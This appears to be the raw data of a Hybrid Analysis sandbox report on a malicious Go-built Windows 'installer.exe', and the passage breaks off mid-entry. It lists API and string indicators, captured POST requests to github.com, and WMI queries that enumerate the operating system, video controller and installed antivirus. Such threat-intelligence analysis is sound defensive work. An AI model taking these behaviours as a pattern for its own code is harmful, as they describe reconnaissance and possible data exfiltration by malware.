24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 41:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4c4,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_70% Sample 0917ecd8ebfb… — Score 87/100 — Hybrid Analysis","description":"Malicious verdict for sample 0917ecd8ebfb…. Malware family: Win/malicious_confidence_70%. Threat score 87/100. 4/27 AV engines flagged this file. 6 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/0917ecd8ebfb2ef6f9fb4a7687ca51e842bd9edb1a1e24b30803e3d213cf324f","keywords":["Malicious","Win/malicious_confidence_70%","malware analysis","sandbox report","threat intelligence","0917ecd8ebfb2ef6f9fb4a7687ca51e842bd9edb1a1e24b30803e3d213cf324f"],"about":{"@type":"SoftwareApplication","name":"installer.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"0917ecd8ebfb2ef6f9fb4a7687ca51e842bd9edb1a1e24b30803e3d213cf324f","additionalType":"Malicious sample"},"threatScore":87,"malwareFamily":"Win/malicious_confidence_70%","antivirusDetections":{"malicious":4,"total":27},"behavioralIndicators":{"malicious":6,"suspicious":16},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T654,Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "installer.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "installer.exe") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "installer.exe") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "installer.exe") file/memory contains long string with (Indicator: "GetTickCount64"; File: "installer.exe") file/memory contains long string with (Indicator: "WaitForSingleObject"; File: "installer.exe") file/memory contains long string with (Indicator: "GetSystemTimeAsFileTime"; File: "installer.exe") file/memory contains long string with (Indicator: "SetWaitableTimer"; File: "installer.exe") Found reference to API "internal/syscall/windows.QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "syscall.WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "syscall.procWaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006960.00000000.167303.A2B53000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006960.00000000.167303.A2B53000.00000002.mdmp")26:T45b,Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "installer.exe") file/memory contains long string with (Indicator: "FreeLibrary"; File: "installer.exe") file/memory contains long string with (Indicator: "LoadLibrary"; File: "installer.exe") Found reference to API "----------------LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00006960.00000000.167303.4C580000.00000004.mdmp") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "syscall.procLoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00006960.00000000.167303.A2B53000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00006960.00000000.167303.A2B53000.00000002.mdmp")27:T424,Found string - \u%04Xsha512 Valueuint16uint32uint64structchan<-<-chanrdtscppopcntGetACPsysmontimersefenceselectleaked not object next= jobs= goid sweep B -> % util alloc free span= prev= list= i = code= addr= m->p= p->m=SCHED curg= ctxt: min= max= bad ts(...) m=nil base SundayMondayFridayAugustUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13minutesecond390625defineCommoncmd/gocryptonetdnsAES-NIsha256SHA-NITASK_A1TASK_A2TASK_A3TASK_A4TASK_A5TASK_A6TASK_A7TASK_A8TASK_B1TASK_B2TASK_B3TASK_B4TASK_B5TASK_B6TASK_B7TASK_B8TASK_C1TASK_C2TASK_C3TASK_C4booleanbdoUxXvintegercomplexfloat32float64readdirwriteatconsoleCopySidWSARecvWSASendconnectprintlnSwapperinvaliduintptrChanDir using type=closure Value>Convertavx512f\\.\UNCforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWNcleanup:events goid= mark s=nil spans (scan MB in pacer: % CPU ( zombiegc bits, j0 = head = panic: GODEBUG nmsys= locks= dying= allocs m->g0= pad1= pad2= minpc= value= (scan)types : type TuesdayJanuaryOctoberMUI_S; Source: "installer.exe")28:T3834,Found api reference "goal , cons/mark maxTrigger= pages/byte s.sweepgen= allocCount page summarybad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace buffernot pollable152587890625762939453125invalid baseformatBase10{{continue}}block clausecapacity: gotypesaliashttpmuxgo121multipathtcprandautoseedtlssecpmlkemtlsunsafeekmCreateActCtxWLoadBalancingUnknown typelevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynameinvalid base dalTLDpSugct?GetFileSizeExGetTempPath2WModule32NextWRtlGetVersionwakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= nStackRoots= flu" (Indicator: "CertOpenStore"; File: "installer.exe") Found api reference "shedWork double unlock s.spanclass=GC span queue MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=parsing time out of range3814697265625unknown errorunexpected %sdefine clauseempty command#failfipscastcrypto/subtlegocacheverifyhtml/templateinstallgoroottlsmaxrsasizeRegDeleteKeyWRegEnumValueWHMAC-SHA2-256GetProcAddressVirtualProtectGetProcessHeapGetTickCount64ActivateActCtxParsed IP: %sfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #internal errorlen of type %s on zero Valueunknown methodinvalid syntaxunexpected EOFunsafe.PointerOpenSCManagerWModule32FirstWus" (Indicator: "CertCloseStore"; File: "installer.exe") Found api reference "shedWork double unlock s.spanclass=GC span queue MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=parsing time out of range3814697265625unknown errorunexpected %sdefine clauseempty command#failfipscastcrypto/subtlegocacheverifyhtml/templateinstallgoroottlsmaxrsasizeRegDeleteKeyWRegEnumValueWHMAC-SHA2-256GetProcAddressVirtualProtectGetProcessHeapGetTickCount64ActivateActCtxParsed IP: %sfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #internal errorlen of type %s on zero Valueunknown methodinvalid syntaxunexpected EOFunsafe.PointerOpenSCManagerWModule32FirstWus" (Indicator: "CryptGenRandom"; File: "installer.exe") Found api reference "ebackancestorsgarbage collectionsync.RWMutex.RLockGC worker (active)stopping the worldwait until GC endssystem page size ( but memory size /gc/pauses:seconds because dotdotdotruntime: npages = invalid skip valueruntime: range = {index out of rangeruntime: gp: gp=runtime: getg: g=forEachP: not done in async preemptbad manualFreeListruntime: textAddr frames elided..., locked to thread, synctest bubble runtime.semacreateruntime.semawakeupuse of closed fileCuba Standard TimeOmsk Standard TimeArab Standard TimeIran Standard TimeRussia Time Zone 3Fiji Standard Time: day out of rangeTime.MarshalJSON: Time.MarshalText: 298023223876953125x509negativeserialgo fips object v1RtlAddFunctionTableGetCurrentProcessIddispatch error: %vAfter %d inserts:IP parse error: %vreflect.Value.IsNilreflect.Value.Floatbad unicode format WaitForSingleObjectbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWreflect.Value.Bytesre" (Indicator: "CryptReleaseContext"; File: "installer.exe") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionbad value for fieldEgypt Standard TimeSudan Standard TimeLibya Standard TimeBahia Standard TimeHaiti Standard TimeYukon Standard TimeAltai Standard TimeIndia Standard TimeSyria Standard TimeRussia Time Zone 11Nepal Standard TimeKorea Standard TimeChina Standard TimeRussia Time Zone 10Tokyo Standard TimeTomsk Standard TimeSamoa Standard TimeTonga Standard Time14901161193847656257450580596923828125file already existsfile does not existfile already closedunclosed left parenunknown branch typetemplate: %s:%d: %sunexpected %s in %sembedfollowsymlinksgotestjsonbuildtextmultipartmaxheaderstabwriter error: %vtype not a pointer: missing IPv6 addressunexpected characterinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirect" (Indicator: "CertOpenSystemStoreW"; File: "installer.exe") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionbad value for fieldEgypt Standard TimeSudan Standard TimeLibya Standard TimeBahia Standard TimeHaiti Standard TimeYukon Standard TimeAltai Standard TimeIndia Standard TimeSyria Standard TimeRussia Time Zone 11Nepal Standard TimeKorea Standard TimeChina Standard TimeRussia Time Zone 10Tokyo Standard TimeTomsk Standard TimeSamoa Standard TimeTonga Standard Time14901161193847656257450580596923828125file already existsfile does not existfile already closedunclosed left parenunknown branch typetemplate: %s:%d: %sunexpected %s in %sembedfollowsymlinksgotestjsonbuildtextmultipartmaxheaderstabwriter error: %vtype not a pointer: missing IPv6 addressunexpected characterinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirect" (Indicator: "CryptAcquireContextW"; File: "installer.exe") Found api reference "TimeMountain Standard TimeAtlantic Standard TimePakistan Standard TimeSakhalin Standard TimeGeorgian Standard TimeCaucasus Standard TimeTasmania Standard TimeDateline Standard TimeHawaiian Standard Time4656612873077392578125unexpected right parenexpected end; found %sparenthesized pipelinesimulated CAST failureexit hook invoked exit%SystemRoot%\system32\sha3: Write after ReadSetEnvironmentVariableWSHA512 hash length: %d0123456789aAbBcCdDeEfF_device or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimetemplate %q not definedcannot assign nil to %sexpected bool; found %sreflect.Value.Interfacereflect.Value.NumMethod" missing CPU supportGetSidSubAuthorityCountImpersonateLoggedOnUserDestroyEnvironmentBlockindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelun" (Indicator: "CertGetCertificateChain"; File: "installer.exe"), Found api reference "9628906250123456789abcdefABCDEF_function %q not definedexit hook invoked panicpattern bits too long: NtQueryInformationThreadaddress string too shortconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWexpected float; found %sreflect.MapIter.SetValuereflect.StructOf: field reflect.Value.SetComplexreflect.Value.UnsafeAddrtracecheckstackownershipwaiting for cgo callbackhash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp" (Indicator: "CertFreeCertificateChain"; File: "installer.exe") Found api reference "unhashable type: unexpected key value typeExpandEnvironmentStringsWtabwriter flush error: %vreflect.Value.CanInterfaceinteger overflow on token GetFileInformationByHandleinvalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextPostQueuedCompletionStatusSetFileInformationByHandlefailed to find ConnectEx: invalid value; expected %sexpected integer; found %sexpected complex; found %stoo many slice indexes: %dnon-function %s of type %snon-comparable type %s: %v using unaddressable valueunknown ABI parameter kind using zero Value argumentreflect.Value.MethodByNamereflect.Value.OverflowUintRtlNtStatusToDosErrorNoTeball goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizerfailed putFast after drainnegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not r" (Indicator: "CertFreeCertificateContext"; File: "installer.exe") Found api reference "un fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memorySouth Africa Standard TimeSaint Pierre Standard TimeNewfoundland Standard TimeCentral Asia Standard TimeEkaterinburg Standard TimeE. Australia Standard TimeW. Australia Standard TimeBougainville Standard TimeLine Islands Standard TimeWest Pacific Standard Time: day-of-year out of range1455191522836685180664062572759576141834259033203125unterminated quoted stringunexpected . after term %qentropy: nil memory bufferAddVectoredExceptionHandlertemplate execute error: %vIPv6 field has value >=2^16channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreinvalid type for comparisonrange can't iterate over %vmap has no entry for key %qcan't index item of type %scan't slice item of type %s is not assignable to type reflect.Value.Ove" (Indicator: "CertEnumCertificatesInStore"; File: "installer.exe") Found api reference "osed matrix rows: %doverflow on character value GetFileInformationByHandleExfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContext%q is not a defined functionnil pointer evaluating %s.%sinvalid slice index: %d > %dreflect: In of non-func typereflect: Key of non-map typereflect.MakeSlice: len > capGC mark assist wait for workcomparing uncomparable type region exceeds uintptr range/gc/cleanups/queued:cleanups/gc/heap/frees-by-size:bytes/gc/heap/tiny/allocs:objects/sched/goroutines:goroutines/sched/threads/total:threadsgcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on gsignalruntime: casgstatus: oldval=gcstopm: negative nmspinningfindRunnable: netpoll with psave on system g not allowednewproc1: newg missing stacknewproc1: new g is not GdeadFixedStack is not power-of-2missing stack in shrinkstack args stack map entries for invalid runtime symbol" (Indicator: "CertCreateCertificateContext"; File: "installer.exe") Found api reference "eap/free:bytes/memory/classes/os-stacks:bytes (checking for goroutine leaks)steal with local work availablepacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mP destroyed while GC is runningruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeW. Central Africa Standard TimeCentral Brazilian Standard TimeMountain Standard Time (Mexico)11368683772161602973937988281255684341886080801486968994140625unterminated character constantcrypto/aes: len(dst) < len(src)unexpected character, want colonresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyreflect: NumOut of non-func typeMapIter.Value called before Nextreflect: NumIn of non-func type reflect.Value.Grow: negative lensync: Unlock of unlocked RWMutex" not supported for cpu option "slice" (Indicator: "CertAddCertificateContextToStore"; File: "installer.exe") Found api reference "eap/free:bytes/memory/classes/os-stacks:bytes (checking for goroutine leaks)steal with local work availablepacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mP destroyed while GC is runningruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeW. Central Africa Standard TimeCentral Brazilian Standard TimeMountain Standard Time (Mexico)11368683772161602973937988281255684341886080801486968994140625unterminated character constantcrypto/aes: len(dst) < len(src)unexpected character, want colonresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyreflect: NumOut of non-func typeMapIter.Value called before Nextreflect: NumIn of non-func type reflect.Value.Grow: negative lensync: Unlock of unlocked RWMutex" not supported for cpu option "slice" (Indicator: "CertVerifyCertificateChainPolicy"; File: "installer.exe")29:Tf9d,Observed string: "crypto/internal/impl" (Indicator: "crypto/internal/impl") in Source: installer.exe Observed string: "crypto/internal/fips140/aes" (Indicator: "crypto/internal/fips140/aes") in Source: installer.exe Observed string: "crypto/internal/fips140/drbg" (Indicator: "crypto/internal/fips140/drbg") in Source: installer.exe Observed string: "crypto/internal/fips140/sha3" (Indicator: "crypto/internal/fips140/sha3") in Source: installer.exe Observed string: "crypto/internal/fips140/hmac" (Indicator: "crypto/internal/fips140/hmac") in Source: installer.exe Observed string: "crypto/internal/fips140/sha512" (Indicator: "crypto/internal/fips140/sha512") in Source: installer.exe Observed string: "crypto/internal/fips140/sha256" (Indicator: "crypto/internal/fips140/sha256") in Source: installer.exe Observed string: "crypto/internal/entropy/v1.0.0" (Indicator: "crypto/internal/entropy/v1.0.0") in Source: installer.exe Observed string: "crypto/internal/fips140deps/cpu.init" (Indicator: "crypto/internal/fips140deps/cpu.init") in Source: 00000000-00006960.00000000.167303.968A2000.00000002.mdmp Observed string: "crypto/internal/impl.Register" (Indicator: "crypto/internal/impl.Register") in Source: 00000000-00006960.00000000.167303.968A2000.00000002.mdmp Observed string: "type:.eq.crypto/internal/impl.implementation" (Indicator: "type:.eq.crypto/internal/impl.implementation") in Source: 00000000-00006960.00000000.167303.968A2000.00000002.mdmp Observed string: "type:.eq.crypto/internal/fips140/sha256.Digest" (Indicator: "type:.eq.crypto/internal/fips140/sha256.Digest") in Source: 00000000-00006960.00000000.167303.968A2000.00000002.mdmp Observed string: "type:.eq.crypto/internal/fips140/sha3.Digest" (Indicator: "type:.eq.crypto/internal/fips140/sha3.Digest") in Source: 00000000-00006960.00000000.167303.968A2000.00000002.mdmp Observed string: "crypto/fips140.init" (Indicator: "crypto/fips140.init") in Source: 00000000-00006960.00000000.167303.968A2000.00000002.mdmp Observed string: "crypto/internal/entropy/v1%2e0%2e0.Seed" (Indicator: "crypto/internal/entropy/v1%2e0%2e0.Seed") in Source: 00000000-00006960.00000000.167303.968A2000.00000002.mdmp Observed string: "crypto/internal/entropy/v1%2e0%2e0.Samples" (Indicator: "crypto/internal/entropy/v1%2e0%2e0.Samples") in Source: 00000000-00006960.00000000.167303.968A2000.00000002.mdmp Observed string: "crypto/internal/entropy/v1%2e0%2e0.newSource" (Indicator: "crypto/internal/entropy/v1%2e0%2e0.newSource") in Source: 00000000-00006960.00000000.167303.968A2000.00000002.mdmp Observed string: "crypto/internal/entropy/v1%2e0%2e0.(*source).Sample" (Indicator: "crypto/internal/entropy/v1%2e0%2e0.(*source).Sample") in Source: 00000000-00006960.00000000.167303.968A2000.00000002.mdmp, Observed string: "crypto/internal/entropy/v1%2e0%2e0.SHA384" (Indicator: "crypto/internal/entropy/v1%2e0%2e0.SHA384") in Source: 00000000-00006960.00000000.167303.968A2000.00000002.mdmp, Observed string: "crypto/internal/entropy/v1%2e0%2e0.digestBytes" (Indicator: "crypto/internal/entropy/v1%2e0%2e0.digestBytes") in Source: 00000000-00006960.00000000.167303.968A2000.00000002.mdmp, Observed string: "crypto/internal/entropy/v1%2e0%2e0.sha384Block" (Indicator: "crypto/internal/entropy/v1%2e0%2e0.sha384Block") in Source: 00000000-00006960.00000000.167303.968A2000.00000002.mdmp, Observed string: "type:.eq.crypto/internal/entropy/v1%2e0%2e0.source" (Indicator: "type:.eq.crypto/internal/entropy/v1%2e0%2e0.source") in Source: 00000000-00006960.00000000.167303.968A2000.00000002.mdmp, Observed string: "crypto/sha512.init.0" (Indicator: "crypto/sha512.init.0") in Source: 00000000-00006960.00000000.167303.968A2000.00000002.mdmp, Observed string: "crypto/sha512.New" (Indicator: "crypto/sha512.New") in Source: 00000000-00006960.00000000.167303.968A2000.00000002.mdmp, Observed string: "crypto/sha512.New512_224" (Indicator: "crypto/sha512.New512_224") in Source: 00000000-00006960.00000000.167303.968A2000.00000002.mdmp2a:T11f0,Contains base64 string in header "POST" in header "POST /documents HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedHost: github.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 89" Contains base64 string in header "Keep" in header "POST /documents HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedHost: github.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 89" Contains base64 string in header "cacheContent" in header "POST /documents HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedHost: github.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 89" Contains base64 string in header "Type" in header "POST /documents HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedHost: github.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 89" Contains base64 string in header "form" in header "POST /documents HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedHost: github.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 89" Contains base64 string in header "like" in header "POST /documents HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedHost: github.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 89" Contains base64 string in header "POST" in header "POST /documents HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=eV648Bu5ssyg2y42BFHost: github.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1015" Contains base64 string in header "Keep" in header "POST /documents HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=eV648Bu5ssyg2y42BFHost: github.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1015" Contains base64 string in header "cacheContent" in header "POST /documents HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=eV648Bu5ssyg2y42BFHost: github.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1015" Contains base64 string in header "Type" in header "POST /documents HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=eV648Bu5ssyg2y42BFHost: github.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1015" Contains base64 string in header "data" in header "POST /documents HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=eV648Bu5ssyg2y42BFHost: github.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1015" Contains base64 string in header "like" in header "POST /documents HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=eV648Bu5ssyg2y42BFHost: github.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1015" Contains base64 string in header "1015" in header "POST /documents HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=eV648Bu5ssyg2y42BFHost: github.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1015"2b:T46e,Found reference to API "GetKeyboardLayout" (Indicator: "GetKeyboardLayout"; Source: "00000000-00006960.00000000.167303.40000000.00000040.mdmp, 00000000-00006960.00000000.167303.4C580000.00000004.mdmp") Found reference to API "GetKeyboardLayoutNameA" (Indicator: "GetKeyboardLayout"; Source: "00000000-00006960.00000000.167303.40000000.00000040.mdmp, 00000000-00006960.00000000.167303.4C580000.00000004.mdmp") Found reference to API "GetKeyboardLayoutNameW" (Indicator: "GetKeyboardLayout"; Source: "00000000-00006960.00000000.167303.40000000.00000040.mdmp, 00000000-00006960.00000000.167303.4C580000.00000004.mdmp") Found reference to API "------------------------GetKeyboardLayout" (Indicator: "GetKeyboardLayout"; Source: "00000000-00006960.00000000.167303.4C580000.00000004.mdmp") Found reference to API "------------------------GetKeyboardLayoutNameA" (Indicator: "GetKeyboardLayout"; Source: "00000000-00006960.00000000.167303.4C580000.00000004.mdmp") Found reference to API "------------------------GetKeyboardLayoutNameW" (Indicator: "GetKeyboardLayout"; Source: "00000000-00006960.00000000.167303.4C580000.00000004.mdmp")2c:T9e2,"installer.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d580000020000000000000000003989f87f0000403194c92f01000068ea9f5601000000060000000000000031e407b3f87f00000000000000000000000000000000000040e89f5601000000000000000000000090e79f5601000000101418b3f87f00000000000000000000901318b3f87f0000080000000000000065007300730074000000000000000000000000000000000031002d0031002d0060be08b3f87f00002300000000000000c01f94c92f0100000000000000000000803d94c92f010000fc870ef62f01000050a094c92f010000df1d94c92f0100000100000001000000c04394c92f010000f38507b3f87f0000c04394c92f0100000000000000000000b9e89f56 (UID: 00000000-00006960) "installer.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006960) "installer.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006960) "installer.exe" called "RtlGetVersion" with parameter 240100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006960)2d:T5cb,Found string "SELECT * FROM Win32_OperatingSystem" (Indicator: "select * from "; Source: "00000000-00006960-00002714-1609247627") Found string "SELECT * FROM Win32_VideoController" (Indicator: "select * from "; Source: "00000000-00006960-00002714-1609255371") Found string "SELECT * FROM AntiVirusProduct" (Indicator: 